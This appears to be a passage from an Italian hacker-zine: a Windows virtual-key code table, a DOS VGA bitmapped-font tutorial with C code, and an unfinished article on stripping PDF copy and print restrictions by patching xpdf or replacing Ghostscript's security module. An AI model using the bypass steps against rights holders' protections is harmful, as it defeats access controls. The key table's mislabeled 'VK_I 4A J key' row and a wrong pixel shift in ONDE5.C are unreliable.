VK_SHIFT 10 SHIFT key
VK_CONTROL 11 CTRL key
VK_MENU 12 ALT key
VK_PAUSE 13 PAUSE key
VK_CAPITAL 14 CAPS LOCK key
VK_ESCAPE 1B ESC key
VK_SPACE 20 SPACEBAR
VK_PRIOR 21 PAGE UP key
VK_NEXT 22 PAGE DOWN key
VK_END 23 END key
VK_HOME 24 HOME key
VK_LEFT 25 LEFT ARROW key
VK_UP 26 UP ARROW key
VK_RIGHT 27 RIGHT ARROW key
VK_DOWN 28 DOWN ARROW key
VK_SELECT 29 SELECT key
VK_EXECUTE 2B EXECUTE key
VK_SNAPSHOT 2C PRINT SCREEN key for Windows 3.0 and later
VK_INSERT 2D INS key
VK_DELETE 2E DEL key
VK_HELP 2F HELP key
VK_0 30 0 key
VK_1 31 1 key
VK_2 32 2 key
VK_3 33 3 key
VK_4 34 4 key
VK_5 35 5 key
VK_6 36 6 key
VK_7 37 7 key
VK_8 38 8 key
VK_9 39 9 key
VK_A 41 A key
VK_B 42 B key
VK_C 43 C key
VK_D 44 D key
VK_E 45 E key
VK_F 46 F key
VK_G 47 G key
VK_H 48 H key
VK_I 4A J key
VK_K 4B K key
VK_L 4C L key
VK_M 4D M key
VK_N 4E N key
VK_O 4F O key
VK_P 50 P key
VK_Q 51 Q key
VK_R 52 R key
VK_S 53 S key
VK_T 54 T key
VK_U 55 U key
VK_V 56 V key
VK_W 57 W key
VK_X 58 X key
VK_Y 59 Y key
VK_Z 5A Z key
VK_LWIN 5B Left Windows key (Microsoft Natural Keyboard)
VK_RWIN 5C Right Windows key (Microsoft Natural Keyboard)
VK_APPS 5D Applications key (Microsoft Natural Keyboard)
VK_NUMPAD0 60 Numeric keypad 0 key
VK_NUMPAD1 61 Numeric keypad 1 key
VK_NUMPAD2 62 Numeric keypad 2 key
VK_NUMPAD3 63 Numeric keypad 3 key
VK_NUMPAD4 64 Numeric keypad 4 key
VK_NUMPAD5 65 Numeric keypad 5 key
VK_NUMPAD6 66 Numeric keypad 6 key
VK_NUMPAD7 67 Numeric keypad 7 key
VK_NUMPAD8 68 Numeric keypad 8 key
VK_NUMPAD9 69 Numeric keypad 9 key
VK_MULTIPLY 6A Multiply key
VK_ADD 6B Add key
VK_SEPARATOR 6C Separator key
VK_SUBTRACT 6D Subtract key
VK_DECIMAL 6E Decimal key
VK_DIVIDE 6F Divide key
VK_F1 70 F1 key
VK_F2 71 F2 key
VK_F3 72 F3 key
VK_F4 73 F4 key
VK_F5 74 F5 key
VK_F6 75 F6 key
VK_F7 76 F7 key
VK_F8 77 F8 key
VK_F9 78 F9 key
VK_F10 79 F10 key
VK_F11 7A F11 key
VK_F12 7B F12 key
VK_F13 7C F13 key
VK_F14 7D F14 key
VK_F15 7E F15 key
VK_F16 7F F16 key
VK_F17 80H F17 key
VK_F18 81H F18 key
VK_F19 82H F19 key
VK_F20 83H F20 key
VK_F21 84H F21 key
VK_F22 85H F22 key
VK_F23 86H F23 key
VK_F24 87H F24 key
VK_NUMLOCK 90 NUM LOCK key
VK_SCROLL 91 SCROLL LOCK key
VK_ATTN F6 Attn key
VK_CRSEL F7 CrSel key
VK_EXSEL F8 ExSel key
VK_EREOF F9 Erase EOF key
VK_PLAY FA Play key
VK_ZOOM FB Zoom key
VK_NONAME FC Reserved for future use.
VK_PA1 FD PA1 key
VK_OEM_CLEAR FE Clear key
-------------------------------------------------------------------

//-----------------------------------------------------------------------------------------


-= Master =-
SPP MEMBER ***
www.spippolatori.com
master@spippolatori.com

==========================================================================================

########################################################################################
##### -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com #####
########################################################################################
##### VIDEOTEL E VISUALIZZAZIONE DEI FONTS DI CARATTERI BIT-MAPPED SU VGA SCREEN #####
########################################################################################

Una delle grosse carenze in rete per quanto riguarda la programmazione
su vga e' rappresentata dalla mancanza di materiale che spieghi come
visualizzare su schermo i font di caratteri bit mapped.
Si trova qualcosa ma sono tutte procedure macchinose e spesso richiedono
la presenza ossessiva di files esterni al proprio programma come nel
caso file-font chr e dei relativi driver di visualizzazione tipici dei
compilatori dos della borland. ( *.chr e drivers *.bgi )

Per quanto la cosa possa sembrare ovvia in effetti poi non lo e' .. o almeno
non e' mai nei termini che potrebbero essere intravisti ad una prima
valutazione superficiale del problema.

Un font bitmapped e' soltanto una fila di caratteri definiti per matrice di
punti (generalmente 8x8.. ma non e' detto) .. si trovano migliaia di font
cosi' definiti un po' in tutti giochini per dos un po' datati.

C'e' chi li chiama anche raw-fonts oppure static-fonts ..ma la sostanza non cambia. :)

L'utilita' della loro rappresentazione varia a seconda dei casi .. si va
dall'esigenza di progettazione per i file demo o splash screen da unire ai propri
programmi ad una piu' sostanziale necessita' di visualizzare su bbs, minitel,
videotel, ecc.. i font per la grafica espressi da ognuno in maniera sostanzialmente
diversa.

Non so se qualcuno ha mai provato a collegarsi al videotel usando iperterminal ..
attualmente la telecom ha cambiato il numero da 165 che era 10 anni fa in 1652.
Adesso e' gratuito, almeno per quanto riguarda la connessione, pero' non esiste
praticamente piu' nessun servizio che sia sfruttabile senza previo pagamento di
account tramite carta i credito.
Prima i servizi venivano pagati tramite addebiti accesi direttamente sulla propria
bolletta telefonica.

Dicevo .. iperteminal e' un programma di per se fantastico in tutti i casi nei quali
si voglia usufruire di una connessione -personalizzabile- via modem con una banca
dati .. pero' manca di default di tutti quei font di caratteri che permetterebbero
una corretta visualizzazione della grafica su sistemi come il videotel tanto per fare
un esempio pratico.

In realta' poi i font esisterebbero anche (sono i fonts della famiglia Arial Alternative)
ma purtroppo lo stesso iperterminal non accetta la post installazione di elementi
esterni al suo setup originale.

Esiste inoltre un iperterminal plus da scaricare semi-free ( :)) ) .. ma per tutti gli
altri che come me vorranno massacrarsi l'anima a ricevere direttamente i dati via modem
e a rappresentarli su schermata dos in ricordo delle vecchie bbs (Dio le abbia in
gloria) nasce il problema di COME rappresentare font grafici su schermo vga.

PREMESSA:

La rappresentazione su vga e' (a parte i fonts) quanto di piu' semplice e soprattutto
quanto di piu' veloce esista.

Le uniche quattro cose che sono necessarie conoscere come base sono:

0. come inizializzare la pagina grafica vga sotto dos
1. La localizzazione del pixel di inizio della schermata vga e le dimensioni generali
2. come scrivere un pixel colorato sulla memoria di schermo vga
3. come leggere lo "stato" di un pixel sulla stessa

da queste e' possibile ottenere tutto il resto .. dal semplice -tirare una linea-
al piu' complesso -scrivere una parola in una determinata posizione-.

gli esempi che seguono sono strutturati per VGA 320x200 256 colori .. piu' che sufficienti
ad una rappresentazione ottimale dei dati in provenienza da un sistema minitel anche
di nuova generazione.

Il compilatore usato e' il borland c++ 3 .. per altre versioni saranno necessarie
piccole modifiche concettuali .. ad esempio il tipi estensivi FAR e HUGE non hanno
significato in versioni 32bit dello stesso quindi dovranno essere semplicemente eliminati.

0. come inizializzare la pagina grafica vga sotto dos

si usa per questo l'interrupt 10h col valore del registro ax settato a

13h per la modalita' VGA e
3h per la modalita' testo.

quindi

asm {
mov ax,13h;
int 10h
} // inizializza la VGA

oppure

asm {
mov ax,3h;
int 10h
} // riporta in modo testo

1. La localizzazione del pixel di inizio della schermata vga e le dimensioni generali

unsigned char *schermo=(unsigned char *)0xA0000000L;

2. come scrivere un pixel colorato sulla memoria di schermo vga

schermo[ x + y*320 ] = colore

per velocizzare ancora di piu' puo' essere usato questo trucco:
al posto della moltiplicazione per 320 e' possibile usare la formula

(y<<6)+(y<<8) = y * 2^6 + y * 2^8 = y * (2^6 + 2^8) = y * 320

i due shift a sinistra sono cmq piu' veloci dell'operatore moltiplicazione!

3. come leggere lo "stato" di un pixel sulla stessa

ovviamente la dove schermo[x+y*320]=qualcosa settera' il punto
qualcosa=schermo[x+y*320] conterra' il colore (o lo stato) del pixel
selezionato dalle coordinate x,y.

ED ANCHE..

Do per scontato che i lettori di questo articolo sappiano di seguito come
disegnare una linea o un cerchio .. oppure salvare le immagini in doppio schermo e
tutte le altre cose base della programmazione vga.

nel caso quest cose vi restino oscure sara' necessario prima di proseguire dare
una approssimativa lettura a http://www.brackeen.com/home/vga/


Ma veniamo ai fonts: :)

L'ALBA DELL'UOMO..

.. era l'epoca in cui i dinosauri seminavano il terrore sul nostro pianeta ed io
avevo gia una mia bbs su sistema cp-m Triumph Adler (ha ha) .. il sistema operativo
stava quasi tutto su un dischetto da 740k e a dire il vero non mi pareva che facesse
poi tante cose meno di windows 2000 .. cmq i dinosauri ogni tanto dormivano ed io
in quei momenti riponevo la clava e allacciandomi in vita il gonnellino di pelle di
sarchiapone muschiato per la notte mi mettevo a creare font bit mapped per i miei utenti
allo scopo di suscitare l'ilarita' o almeno di stimolare la curiosita' di questi
ultimi.

Tanto fu il lavoro e tanto divertente che alcuni di questi sono poi stati adottati
(come nel caso dell'Iso-52 e 114 ) come standard per le schermate grafiche in bassa
risoluzione (tra l'altro il 52 e' quello attualmente usato anche dal televideo rai
.. forse avrei dovuto brevettarlo come piu' intelligentemente hanno fatto alcuni
napoletani per la pizza. :))

Su su negli anni mi sono trasportato questo sistema per la visualizzazione in vari
sistemi .. passando dal cp-m al ql fino ad arrivare ai sistemi acorn, sun ed anche
all'ms-dos dove le procedure si sono rivelate essere molto piu' semplici che in tutti
gli altri casi considerati (ad esclusione forse dell'Acorn dove gia' preesiste un sistema
di -adozione- per i nuovi fonts bit mapped con le procedure sotto VDU)


Allegato a questo articolo trovate nel file VGA.ZIP il file char.chr contenente una
trentina di fonts 8x8 fatti con le mie manine sante piu' di 15 anni fa.

Come visualizzarli su vga?

ogni carattere e' rappresentato da una matrice di 8 bytes

nel caso di un carattere grafico L adatto ad una quadrettatura dello schermo
potremmo avere la seguente configurazione di bytes


10000000 bytes 01 = 128
10000000 bytes 02 = 128
10000000 bytes 03 = 128
10000000 bytes 04 = 128
10000000 bytes 05 = 128
10000000 bytes 06 = 128
10000000 bytes 07 = 128
11111111 bytes 08 = 255

e quindi una sequenza di bytes per lo stesso

128,128,128,128,128,128,128,255


l'estrazione di ogni sigolo carattere e di ogni singolo fonts dalla lista e' possibile
usando la seguente libreria:

========================================================================================
graph.c
========================================================================================

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <math.h>

unsigned char far *schermo=(unsigned char far *)0xA0000000L;
unsigned char car[33000];

vgaon()
{
asm{mov ax,13h;int 10h}
}

vgaoff()
{
asm{mov ax,3h;int 10h}
}

putpix(int x, int y,unsigned char col)
{
schermo[x+(y<<6)+(y<<8)]=col;
}

inizia()
{
FILE *f;
long n;
f=fopen("char.chr","rb");
for(n=0;n<32768;n++){
car[n]=fgetc(f);
}
fclose(f);
}

parola(int x,int y,char *par,int col,int font)
{
int n;
for(n=0;n<strlen(par);n++)
let(x+n*8,y,par[n],col,font);
}

let(int x,int y,char l,int col,int font)
{
long n;
int bit,c=0,m,z;
char *v="00000000";
char *bin(unsigned char a);
int k=font;
n=11+k*900+9*(l-32);
for(m=0;m<=8;m++){
v=bin(car[n+m]);
for(bit=0;bit<8;bit++)
if(v[bit]>0)schermo[x+bit+320*(m+y)]=v[bit]*col;}
}

char *bin(unsigned char a)
{
char *n="00000000";
int x;
for(x=0;x<8;x++){
// if(((a>>x)/2.-floor((a>>x)/2.))==0)n[7-x]=0;
if(((a>>x)/2.-(a>>x)/2)==0)n[7-x]=0;
else n[7-x]=1;}
return(n);
}

========================================================================================



inizia() = carica in memoria l'intero set di font di caratteri

parola(int x,int y,char *par,int col,int font) =
stampa alla locazione di schermo x,y la frase *par con il colore "col"
usando il font selezionato dalla variabile "font"
[ nel caso specifico da 1 a 34 ]


*****************************************
***** ESEMPIO UNO: **********************
*****************************************

VISUALIZZAZIONE SU SCHERMO DI TUTTI I FONT CONTENUTI DENTRO CHAR.CHR

========================================================================================
FONTC.C
========================================================================================
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
#include <math.h>
#include "graph.h"

main()
{
int x,y,n;
char s[0xff];

// attiva la schermata grafica VGA
vgaon();

// carica in memoria i FONTS di caratteri
inizia();

// Definisce una stringa per la visualizzazione dei fonts
#define fai itoa(n+1,s,10);strcat(s," abcdefghijk ABCDEFGHIJK 0123456")

// STAMPA UNA PREVIEW DEI PRIMI 19 FONTS
for(n=0;n<=18;n++)
{
fai;parola(0,n*10,s,n+32,n+1);
}

// Attende la pressione di un tasto
getch();

// Cancella la schermata VGA
for(y=0;y<=200;y++)
for(x=0;x<=320;x++)
putpix(x,y,0);

// Visualizza i fonts restanti
for(n=19;n<=33;n++)
{
fai;parola(0,(n-19)*10,s,n+32,n+1);
}
getch();

vgaoff();
}


========================================================================================


Compilando FONTC.C ed eseguendolo si avra' una preview di ogni singolo fonts.



*****************************************
***** ESEMPIO DUE: **********************
*****************************************

ESTRAZIONE DI UN SINGOLO FONTS E SALVATAGGIO SU FILE COME VARIABILE CHAR
PER UNA SUCCESSIVA RIUTILIZZAZIONE ALL'INTERNO DI UN PROPRIO PROGRAMMA
SENZA LA NECESSITA' DI DRIVERS O ALTRI FILES ACCESSORI


========================================================================================
FONSING.C
========================================================================================
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <math.h>
#include "graph.h"

main()
{
long n;
int bit,c=0,m,z;
char *v="00000000";
char s[20];
char *bin(unsigned char a);
FILE *f;

int k=27; // numero dell'alfabeto da trasporre.

vgaon();
inizia();

// salva la variabile contenente l'alfabetonel file ALFAB.numero_di_alfabeto
sprintf(s,"alfab.%d",k);
f=fopen(s,"wb");
fprintf(f,"unsigned char font[900]={");
for(z=' ';z<='z';z++)
{
n=11+k*900+9*(z-32);
for(m=0;m<=8;m++)
fprintf(f,"%d,",car[n+m]);
if((z/3.-z/3)==0)fprintf(f,"\r\n");
}
fclose(f);

vgaoff();
}

========================================================================================


nel caso dell'alfabeto 27 preselezionato avremmo un file di uscita tipo


========================================================================================
alfab.27
========================================================================================
unsigned char font[900]={0,0,0,0,0,0,0,0,0,16,16,16,16,16,0,16,0,0,
40,40,0,0,0,0,0,0,0,40,40,124,40,124,40,40,0,0,56,80,80,56,20,20,56,0,0,
100,100,8,16,32,76,76,0,0,32,80,80,32,84,72,52,0,0,16,16,0,0,0,0,0,0,0,
4,8,16,16,16,8,4,0,0,64,32,16,16,16,32,64,0,0,16,84,56,16,56,84,16,0,0,
0,16,16,124,16,16,0,0,0,0,0,0,0,0,24,24,8,16,0,0,0,124,0,0,0,0,0,
0,0,0,0,0,24,24,0,0,4,4,8,16,32,64,64,0,0,56,108,84,84,84,84,84,108,56,
56,104,72,104,40,40,108,68,124,60,100,84,116,108,88,92,68,124,120,76,116,52,44,52,116,76,120,
112,80,80,92,68,116,20,20,28,124,68,92,88,76,116,116,76,120,112,80,80,92,68,84,84,68,124,
124,68,116,20,20,52,108,88,112,124,68,84,84,68,84,84,68,124,124,68,84,84,68,116,20,20,28,
0,0,24,24,0,24,24,0,0,0,0,24,24,0,24,24,8,16,4,8,16,32,16,8,4,0,0,
0,0,124,0,124,0,0,0,0,64,32,16,8,16,32,64,0,0,56,68,4,8,16,0,16,0,0,
56,68,92,84,92,64,56,0,0,56,108,84,84,68,84,84,84,124,120,76,84,84,76,84,84,76,120,
60,100,92,80,80,80,92,100,60,120,76,84,84,84,84,84,76,120,60,100,92,88,72,88,92,100,60,
60,100,92,88,72,88,80,80,112,60,100,92,80,92,84,84,108,56,112,80,80,88,76,84,84,84,124,
56,40,56,40,40,40,40,40,56,124,68,108,40,40,40,104,88,112,120,92,84,84,76,84,84,84,124,
112,80,80,80,80,80,92,100,60,124,84,68,84,84,84,84,84,124,120,76,84,84,84,84,84,84,124,
56,108,84,84,84,84,84,108,56,120,76,84,84,76,88,80,80,112,60,100,84,84,100,52,20,20,28,
56,108,84,84,76,76,84,84,124,60,100,92,88,108,52,116,76,120,124,68,108,40,40,40,40,40,56,
120,92,84,84,84,84,84,68,124,124,84,84,84,84,84,84,108,56,120,92,84,84,84,84,68,84,124,
120,92,84,84,108,84,84,84,124,124,84,84,84,100,52,116,76,120,124,68,116,52,108,88,92,68,124,
28,16,16,16,16,16,16,16,28,64,64,64,32,16,8,4,4,4,112,16,16,16,16,16,16,16,112,
16,40,68,0,0,0,0,0,0,0,0,0,0,0,0,0,124,0,24,36,32,112,32,32,124,0,0,
0,0,120,76,116,68,84,68,124,0,0,112,80,88,76,84,76,120,0,0,60,100,92,80,92,100,60,
0,0,28,20,52,100,84,100,60,0,0,120,76,84,76,88,104,56,0,0,60,100,92,76,92,80,112,
0,0,56,104,88,92,84,108,56,0,0,112,80,88,76,84,84,124,0,0,56,40,56,40,40,40,56,
0,0,124,68,108,40,104,88,112,0,0,120,92,84,76,84,84,124,0,0,112,80,80,80,92,100,60,
0,0,124,84,68,84,84,84,124,0,0,120,76,84,84,84,84,124,0,0,56,108,84,84,84,108,56,
0,0,56,108,84,76,88,80,112,0,0,56,108,84,100,52,20,28,0,0,60,100,92,80,80,80,112,
0,0,56,104,88,108,52,44,56,56,44,36,44,40,40,44,52,28,0,0,120,92,84,84,84,68,124,
0,0,124,84,84,84,84,108,56,0,0,120,92,84,84,68,84,124,0,0,120,92,84,108,84,84,124,
0,0,124,84,84,100,52,44,56,0,0,60,36,52,108,88,72,120}
========================================================================================

questa e' la definizione sequenziale BYTES per BYTES dei singoli caratteri definiti
dal fonts stesso.


*****************************************
***** ESEMPIO TRE: **********************
*****************************************


USO DEL FONTS ESTRATTO IN UN PROPRIO PROGRAMMA


Nel caso specifico vi mostro un demo che avevo fatto per un mio vecchio programma.
Contiene praticamente un po' di tutto riguardo alla programamzione della VGA sotto
DOS.

L'uso del double buffering (doppio schermo), la generazione di un plasma,
la replica dei pixel, la presentazione di frasi con fonts interni al programma stesso,
l'eliminazione delle interferenze video di interlacciamento, ecc..

Il programma e' in una versione base e quindi (come in effetti e' gia' stato fatto)
puo' essere ottimizzato e velocizzato di almeno 4 volte .. ha comunque preferito
lasciare questa versione perche' mi sembrava che fosse quella piu' semplice e
lineare da capire... specilmente per quanto riguarda la sezione dell'suo dei fonts.


.. nota di compilazione .. usando il TC oppure il Borland c++ 3 si genera un programma
di circa 80k. La dimensione e' dovuta al fatto che l'eseguibile viene costruito
con un range di 64K bytes vuoti per la allocazione della variabile "schermo"
altrimenti definita come

unsigned char far schermo[64001];

una volta compilato il programma pero' e' possibile comprimerlo con un tool
compattante tipo UPX ( upx --best onde5.c ) riducendo il tutto a soli 10k.


========================================================================================
ONDE5.C
========================================================================================
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

//-----------------------------------------------------------------------------------------------
unsigned char far *schermo2=(unsigned char far *)0xA0000000;
unsigned char far schermo[64001];


//-----------------------------------------------------------------------------------------------

#define sng(x) x<0?-1:x>0?1:0;
char s[10];

//-----------------------------------------------------------------------------------------------
unsigned char font[900]={0,0,0,0,0,0,0,0,0,16,16,16,16,16,0,16,0,0,
40,40,0,0,0,0,0,0,0,40,40,124,40,124,40,40,0,0,56,80,80,56,20,20,56,0,0,
100,100,8,16,32,76,76,0,0,32,80,80,32,84,72,52,0,0,16,16,0,0,0,0,0,0,0,
4,8,16,16,16,8,4,0,0,64,32,16,16,16,32,64,0,0,16,84,56,16,56,84,16,0,0,
0,16,16,124,16,16,0,0,0,0,0,0,0,0,24,24,8,16,0,0,0,124,0,0,0,0,0,
0,0,0,0,0,24,24,0,0,4,4,8,16,32,64,64,0,0,56,108,84,84,84,84,84,108,56,
56,104,72,104,40,40,108,68,124,60,100,84,116,108,88,92,68,124,120,76,116,52,44,52,116,76,120,
112,80,80,92,68,116,20,20,28,124,68,92,88,76,116,116,76,120,112,80,80,92,68,84,84,68,124,
124,68,116,20,20,52,108,88,112,124,68,84,84,68,84,84,68,124,124,68,84,84,68,116,20,20,28,
0,0,24,24,0,24,24,0,0,0,0,24,24,0,24,24,8,16,4,8,16,32,16,8,4,0,0,
0,0,124,0,124,0,0,0,0,64,32,16,8,16,32,64,0,0,56,68,4,8,16,0,16,0,0,
56,68,92,84,92,64,56,0,0,56,108,84,84,68,84,84,84,124,120,76,84,84,76,84,84,76,120,
60,100,92,80,80,80,92,100,60,120,76,84,84,84,84,84,76,120,60,100,92,88,72,88,92,100,60,
60,100,92,88,72,88,80,80,112,60,100,92,80,92,84,84,108,56,112,80,80,88,76,84,84,84,124,
56,40,56,40,40,40,40,40,56,124,68,108,40,40,40,104,88,112,120,92,84,84,76,84,84,84,124,
112,80,80,80,80,80,92,100,60,124,84,68,84,84,84,84,84,124,120,76,84,84,84,84,84,84,124,
56,108,84,84,84,84,84,108,56,120,76,84,84,76,88,80,80,112,60,100,84,84,100,52,20,20,28,
56,108,84,84,76,76,84,84,124,60,100,92,88,108,52,116,76,120,124,68,108,40,40,40,40,40,56,
120,92,84,84,84,84

  
,84,68,124,124,84,84,84,84,84,84,108,56,120,92,84,84,84,84,68,84,124,
120,92,84,84,108,84,84,84,124,124,84,84,84,100,52,116,76,120,124,68,116,52,108,88,92,68,124,
28,16,16,16,16,16,16,16,28,64,64,64,32,16,8,4,4,4,112,16,16,16,16,16,16,16,112,
16,40,68,0,0,0,0,0,0,0,0,0,0,0,0,0,124,0,24,36,32,112,32,32,124,0,0,
0,0,120,76,116,68,84,68,124,0,0,112,80,88,76,84,76,120,0,0,60,100,92,80,92,100,60,
0,0,28,20,52,100,84,100,60,0,0,120,76,84,76,88,104,56,0,0,60,100,92,76,92,80,112,
0,0,56,104,88,92,84,108,56,0,0,112,80,88,76,84,84,124,0,0,56,40,56,40,40,40,56,
0,0,124,68,108,40,104,88,112,0,0,120,92,84,76,84,84,124,0,0,112,80,80,80,92,100,60,
0,0,124,84,68,84,84,84,124,0,0,120,76,84,84,84,84,124,0,0,56,108,84,84,84,108,56,
0,0,56,108,84,76,88,80,112,0,0,56,108,84,100,52,20,28,0,0,60,100,92,80,80,80,112,
0,0,56,104,88,108,52,44,56,56,44,36,44,40,40,44,52,28,0,0,120,92,84,84,84,68,124,
0,0,124,84,84,84,84,108,56,0,0,120,92,84,84,68,84,124,0,0,120,92,84,108,84,84,124,
0,0,124,84,84,100,52,44,56,0,0,60,36,52,108,88,72,120};



//-----------------------------------------------------------------------------------------------
vgaon()
{
asm{mov ax,13h;int 10h}
}
//-----------------------------------------------------------------------------------------------



//-----------------------------------------------------------------------------------------------
vgaoff()
{
asm{mov ax,3h;int 10h}
}
//-----------------------------------------------------------------------------------------------



//-----------------------------------------------------------------------------------------------
putpix(int x, int y,unsigned char col)
{
schermo[x+(y<<6)+(y<<9)]=col;
}
//-----------------------------------------------------------------------------------------------



//-----------------------------------------------------------------------------------------------
parola(int x,int y,char *par,int col)
{
int n;
for(n=0;n<strlen(par);n++)
let(x+n*8,y,par[n],col);
}
//-----------------------------------------------------------------------------------------------



//-----------------------------------------------------------------------------------------------
let(int x,int y,char l,int col)
{
long n;
int bit,c=0,m,z;
char *v;
int k=font;

v=(char *)calloc(10,sizeof(char *));
n=9*(l-32);
for(m=0;m<=8;m++)
{
v=itoa(256|font[n+m],s,2);
for(bit=0;bit<8;bit++)
{
if(v[bit+1]>'0')schermo[x+bit+320*(m+y)]=(v[bit+1]-'0')*col;
}
}
}
//-----------------------------------------------------------------------------------------------

vedi()
{
int x,y;
for(y=0;y<=199;y+=1)
for(x=0;x<=319;x+=1)
schermo2[x+(y<<6)+(y<<8)]=schermo[x+(y<<6)+(y<<8)];
}

main()
{
int f,u,v,z,z2,x,y,g,ax,ay;
float un,du,tr,qu,ci,se,st,ot;
int aa,bb;


vgaon();

for(g=1;g<=3200;g+=1)
{
for(y=0;y<=197;y+=3)
{
if(y>3&&y<13)
{
aa=95+95*sin(g/16.);
bb=24+8*sin(g/3.);
parola(aa,3,"Findplus Ver 1.2",bb);
}
if(y>186&&y<196)
{
bb=24+8*cos(g/5.);
parola(0,186,"MASTER - SPP www.spippolatori.com (c)2K",bb);
}
u=(y<<8)+(y<<6);
for(x=0;x<=317;x+=3)
{
v=x+u;
un=6*cos(g/25.);
du=5*sin(g/27.);
tr=22*cos(x/35.+un/3.-10*tan(du/100.));
qu=25*cos(y/45.+du);
z=un*(du+tr+qu)+du*(un+tr+qu)+tr*(un+du+qu)+qu*(un+du+tr);
z=z/20.+x+y+g;
for(ay=0;ay<=2;ay++)
{
f=(ay<<8)+(ay<<6);
for(ax=0;ax<=2;ax++)
{
if(y>20&y<180)schermo[v+ax+f]=z;
else schermo[v+ax+f]=z/3;
}
}
}
}
vedi();
if(kbhit()){vgaoff();exit(0);}
}
vgaoff();
}

========================================================================================


..


.. le successive applicazioni per l'utilizzo dei font raw nella visualizzazione dei
sistemi grafici minitel like vengono quindi da se...

Nel caso qualcuno trovi utile questo sistema per una propria applicazione in questo
senso e' libero di usarlo senza problemi di copyright o di citazione dell'autore.

Per l'implementazione di fonts particolari o chiarimenti ..

--> -= Master =-
SPP MEMBER ***
www.spippolatori.com
master@spippolatori.com [ rispondo sempre .. purtroppo! :)) ]

==========================================================================================

PDF encryption: le opzioni di sicurezza
---------------------------------------
by ADaM unno@softhome.net
---------------------------------------

->Obiettivo:
In queste righe vedremo come stampare un file PDF che ha disabilitato il
permesso di stampa e impareremo a modificare un PDF che ci nega il permesso
di selezionare testo e immagini.

->Che cos'è il pdf
Il Portable Document Format (PDF) è basato sull'Adobe PostScript language a
cui sono state apportati miglioramenti e modiche.
L'Adobe ha rilasciato gratuitamente il suo Adobe Acrobat SDK, così chiunque
può creare il suo editor o filtro senza reverse engineering o cose del
genere. Adobe comunque rimane la proprietaria e mantiene per sè lo sviluppo
allo scopo di non snaturare il formato (e di tenere segrete alcune
caratteristiche).
Il sistema di password del pdf è molto poco sicuro. Esistono due tipi di
password: la password del proprietario e la user passoword. La password del
proprietario controlla le opzioni di sicurezza (o permessi), ma non
impedisce a un file di essere caricato e visto. La user password impedisce
a un file di essere decifrato e visto. Benchè il sistema di cifratura sia
conosciuto non esistono al momento sistemi per craccare la user password.
Si potrebbe tentare qualcosa con un bruteforce.

->Vulnerabilità
Se qualche caratteristica di sicurezza è stata attivata dall'autore del
file, il PDF sarà cifrato. Queste caratteristiche impediscono di
selezionare e copiare il testo e le immagini e di stamparlo.
Ma se un file pdf può essere visualizzato allora è molto vulnerabile,
indipendentemente dalla presenza della password del proprietario. Le
opzioni di sicurezza per impedire la stampa, selezione e copiatura del
testo, l'aggiunta di note, sono inutili.

->Modifichiamo il pdf affinchè si possa selezionare (e copiare) il testo e
le immagini.
Se abbiamo un file PDF che ha l'opzione di sicurezza solo per la selezione
del testo e delle immmagini, ci verrà in aiuto xpdf, un programma per la
visualizzazione dei pdf per UNIX, VMS e OS/2 che gira sotto X Window
System.
Per le vecchie leggi sul divieto di esportazione della crittografia dagli
USA, il creatore del programma xpdf, Derek B. Noonburg, non poteva
distribuire la sua patch (http://www.fefe.de/xpdf-0.90-fefe-diff2.gz) per
visualizzare i file PDF con opzioni di sicurezza attivate, ma occorreva
collocarla fuori dagli USA. Ora, invece, che le leggi sono cambiate (dal
dicembre 1999), l'autore mi ha detto che la implementerà nella prossima
versione.
Per patchare il programma procuriamoci i sorgenti
(http://www.foolabs.com/xpdf/xpdf-0.90.tgz). Decompattiamo i sorgenti di
xpdf e poniamo la patch nella stessa directory in modo che si abbia:
xpdf-0.90/
xpdf-0.90-fefe-diff2
possiamo così provvedere a patchare i sorgenti con
patch -p0 <xpdf-0.90-fefe-diff2
Ora possiamo ricompilare facendo configure e make (se avete problemi
guardate le istruzioni all'interno dell'archivio o usate la versione 0.80
già patchata e impacchettata in rpm ->
ftp://ftp.sci.usq.edu.au/pub/linux/xpdf/xpdf-0.80-decrypt-1.i386.rpm). Con
xpdf patchato possiamo visualizzare i file e selezionare (e copiare) il
testo.
Ricordo che le parti di xpdf che non si appoggiano all'interfaccia grafica
X di Unix (pdftops, pdftotext, pdfinfo e pdfimages) possono essere
ricompilati per win32. Usando pdftops patchato possiamo rendere inefficaci
le opzioni di sicurezza che ci impediscono di selezionare il testo.

->Risultati di un testo di prova dove ho usato pdftops patchato e ps2pdf
per riottenere un nuovo pdf ma con i permessi cambiati.

Originale Finale
*Dimensione 462 kB 2536 kB
*metodo protezione standard nessuno
*pw apertura no no
*pw protezione si no
*stampa consentito consentito
*modifica doc non consentito non consentito
*selezione testo e img non consentito consentito
*aggiunta o modifica
di note e campi modulo non consentito non consentito

Il postscript di passaggio risultava di circa 1248 kB.

Nel passaggio da pdf a ps si perdono alcune caratteristiche esclusive del
pdf quali i bookmark del file, le note, i link.
Il fatto che la grandezza del pdf finale sia più che quintuplicata, unito
al fatto che tentando di zipppare il pdf, riotteniamo all'incirca la
dimensione iniziale, mi ha fatto pensare a qualche metodo di compressione
che non è stato attuato nelle conversioni. Questa ipotesi è corroborata dal
fatto che il Readme di xpdf parla dell'algoritmo di compressione LZW
(presente nei vecchi pdf) che è brevettato da Unisys Corporation (si,
proprio la stessa che ha il brevetto delle gif,
http://www.unisys.com/LeadStory/lzwterms.html), la quale non rilascia la
licenza a prodotti distribuiti gratuitamente con sorgenti come xpdf. Come
soluzione del problema xpdf non decomprime i dati compressi con LZW ed
eventualmente presenti in un pdf, ma ne cambia prima il formato per poi
decomprimerli.
Nei nuovi file pdf l'algoritmo LZW non è più usato e come metodo di
compressione si usa il filtro FlateDecode, che è lo stesso di gzip, il
quale non è sottoposto a brevetti e spesso raggiunge risultati migliori del
vecchio LZW.

->Stampiamo un file con l'opzione di sicurezza sulla stampa ovvero
eliminiamo tale opzione (anzi tutte)
E' molto semplice: basta prendere GhostView (interfaccia grafica di
GhostScript) che serve a visualizzare, stampare, etc. file pdf e ps.
Una volta installato (http://www.cs.wisc.edu/~ghost/) occorre sostituire il
modulo di sicurezza con quello che trovate qua:
http://www.ozemail.com.au/~geoffk/pdfencrypt/
Ora potrete stampare il vostro file (questa procedura è valida anche per
